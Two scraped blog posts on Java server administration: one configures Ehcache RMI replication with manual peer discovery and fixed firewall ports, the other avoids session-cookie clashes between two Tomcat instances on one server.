<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />Anonymoushttp://www.blogger.com/profile/18070470720442998588noreply@blogger.com0tag:blogger.com,1999:blog-5807672428142416405.post-12984925992108315692013-11-16T10:44:00.004-05:002013-11-16T10:44:45.198-05:00Ehcache RMI Replicated Caching in cloud environmentsThe <a href="http://ehcache.org/documentation/user-guide/rmi-replicated-caching" target="_blank">RMI Ehcache</a> provides 2 ways for peer discovery: Automatic Peer Discovery and Manual Peer Discovery.<br />
<br />
If the application is deployed in an environment where multicast is not allowed or not available like Amazon AWS or FireHost clouds, then we must use Manual Peer Discovery.<br />
<br />
Follow the <a href="http://ehcache.org/documentation/user-guide/rmi-replicated-caching#manual-peer-discovery-manual-peer-discovery" target="_blank">guide</a>, configure Manual Peer Discovery as:<br />
<br />
Configuration for server1<br />
<pre class="pre-indented prettyprint"><code><span class="tag"><cacheManagerPeerProviderFactory</span><span class="pln">
</span><span class="atn">class</span><span class="pun">=</span><span class="atv">"net.sf.ehcache.distribution.RMICacheManagerPeerProviderFactory"</span><span class="pln">
</span><span class="atn">properties</span><span class="pun">=</span><span class="atv">"peerDiscovery=manual,
rmiUrls=//server2:40001/sampleCache11|//server2:40001/sampleCache12"</span><span class="tag">/></span><span class="pln">
</span></code></pre>
<pre class="pre-indented prettyprint"><code><span class="tag">
</span></code></pre>
Configuration for server2<br />
<br />
<pre class="pre-indented prettyprint"><code><span class="tag"><cacheManagerPeerProviderFactory</span><span class="pln">
</span><span class="atn">class</span><span class="pun">=</span><span class="atv">"net.sf.ehcache.distribution.RMICacheManagerPeerProviderFactory"</span><span class="pln">
</span><span class="atn">properties</span><span class="pun">=</span><span class="atv">"peerDiscovery=manual,
rmiUrls=//server1:40001/sampleCache11|//server1:40001/sampleCache12"</span><span class="tag">/></span><span class="pln">
</span></code></pre>
<pre class="pre-indented prettyprint">
</pre>
Configuring the CacheManagerPeerListener as:<br />
<pre class="pre-indented prettyprint"><code><span class="tag"><cacheManagerPeerListenerFactory</span><span class="pln">
</span><span class="atn">class</span><span class="pun">=</span><span class="atv">"net.sf.ehcache.distribution.RMICacheManagerPeerListenerFactory"</span><span class="pln">
</span><span class="atn">properties</span><span class="pun">=</span><span class="atv">"hostName=server1, port=40001,
socketTimeoutMillis=2000"</span><span class="tag">/></span><span class="pln">
</span></code></pre>
<pre class="pre-indented prettyprint"><code><span class="tag">
</span></code></pre>
<pre class="pre-indented prettyprint"><code><span class="tag"><pre class="pre-indented prettyprint"><code><span class="tag"><cacheManagerPeerListenerFactory</span><span class="pln">
</span><span class="atn">class</span><span class="pun">=</span><span class="atv">"net.sf.ehcache.distribution.RMICacheManagerPeerListenerFactory"</span><span class="pln">
</span><span class="atn">properties</span><span class="pun">=</span><span class="atv">"hostName=server2, port=40001,
socketTimeoutMillis=2000"</span><span class="tag">/></span></code></pre>
</span></code></pre>
<br />
So we need to open the firewall for incoming TCP port 40001 on both peers.<br />
<br />
But then each peer server can't send message to other with the connection timed out error:<br />
<pre class="pre-indented prettyprint"><code>
RMIAsynchronousCacheReplicator Unable to send message to remote peer. Message was: Connection refused to host: server2; nested exception is:
java.net.ConnectException: Connection timed out
java.rmi.ConnectException: Connection refused to host: server2; nested exception is:
java.net.ConnectException: Connection timed out
at sun.rmi.transport.tcp.TCPEndpoint.newSocket(TCPEndpoint.java:619)
at sun.rmi.transport.tcp.TCPChannel.createConnection(TCPChannel.java:216)
at sun.rmi.transport.tcp.TCPChannel.newConnection(TCPChannel.java:202)
at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:128)
at net.sf.ehcache.distribution.RMICachePeer_Stub.send(Unknown Source)
at net.sf.ehcache.distribution.RMIAsynchronousCacheReplicator.writeReplicationQueue(RMIAsynchronousCacheReplicator.java:314)
at net.sf.ehcache.distribution.RMIAsynchronousCacheReplicator.replicationThreadMain(RMIAsynchronousCacheReplicator.java:127)
at net.sf.ehcache.distribution.RMIAsynchronousCacheReplicator.access$000(RMIAsynchronousCacheReplicator.java:58)
at net.sf.ehcache.distribution.RMIAsynchronousCacheReplicator$ReplicationThread.run(RMIAsynchronousCacheReplicator.java:389)
Caused by: java.net.ConnectException: Connection timed out</code></pre>
<br />
Review the guide/google around... to find out the problem, but couldn't know why? Then tried to change the firewall to allow all ports and it worked!<br />
<br />
So absolutely there was another port that was used by the Ehcache but blocked by the firewall.<br />
<br />
Google around and found the answer <a href="http://forums.terracotta.org/forums/posts/list/3346.page" target="_blank">here</a><br />
<span class="postbody"><b>"by default does use portmap and therefore random, non-root ports."</b></span><br />
<span class="postbody"><br /></span>
<span class="postbody">So we need to add <b>remoteObjectPort</b> to the </span><b>cacheManagerPeerListenerFactory</b> as:<br />
<pre class="pre-indented prettyprint"><code><span class="tag"><cacheManagerPeerListenerFactory</span><span class="pln">
</span><span class="atn">class</span><span class="pun">=</span><span class="atv">"net.sf.ehcache.distribution.RMICacheManagerPeerListenerFactory"</span><span class="pln">
</span><span class="atn">properties</span><span class="pun">=</span><span class="atv">"hostName=server1, port=40001, <i>remoteObjectPort=40002</i>,
socketTimeoutMillis=2000"</span><span class="tag">/></span></code></pre>
<br />
<pre class="pre-indented prettyprint"><code><span class="tag"><cacheManagerPeerListenerFactory</span><span class="pln">
</span><span class="atn">class</span><span class="pun">=</span><span class="atv">"net.sf.ehcache.distribution.RMICacheManagerPeerListenerFactory"</span><span class="pln">
</span><span class="atn">properties</span><span class="pun">=</span><span class="atv">"hostName=server2, port=40001, r<i>emoteObjectPort=40002</i>,
socketTimeoutMillis=2000"</span><span class="tag">/></span></code></pre>
<br />
And close all ports on the firewall except TCP 40001, 40002 between those peers.<br />
<br />
Problem is resolved.<br />
<br />
<br />Anonymoushttp://www.blogger.com/profile/18070470720442998588noreply@blogger.com8tag:blogger.com,1999:blog-5807672428142416405.post-45521726103768450722013-11-01T10:49:00.002-04:002013-11-01T10:49:45.752-04:00Multiple Tomcat instances on single server and session issue<br />
When setting up <a href="http://www.javacodegeeks.com/2011/08/multiple-tomcat-instances-on-single.html" target="_blank">2 instances for Tomcat 6 on the same server</a>, we got the issue of both are sharing sessions when both have same application context name. So if we logged into one instance, the session of the other will be expired.<br />
<br />
The reason is cookie is stored by domain and cookie name, but not specified by server port. So both instances use the same JSESSIONID cookie name.<br />
<br />
To fix it, we need to change the org.apache.catalina.SESSION_COOKIE_NAME parameter on java command.<br />
<br />
We could do that easily with Tomcat bin/catalina.sh by adding that parameter to JAVA_OPTS:<br />
JAVA_OPTS="$JAVA_OPTS -Dorg.apache.catalina.SESSION_COOKIE_NAME=JSESSIONID<b>2</b>"<br />
Anonymoushttp://www.blogger.com/profile/18070470720442998588noreply@blogger.com0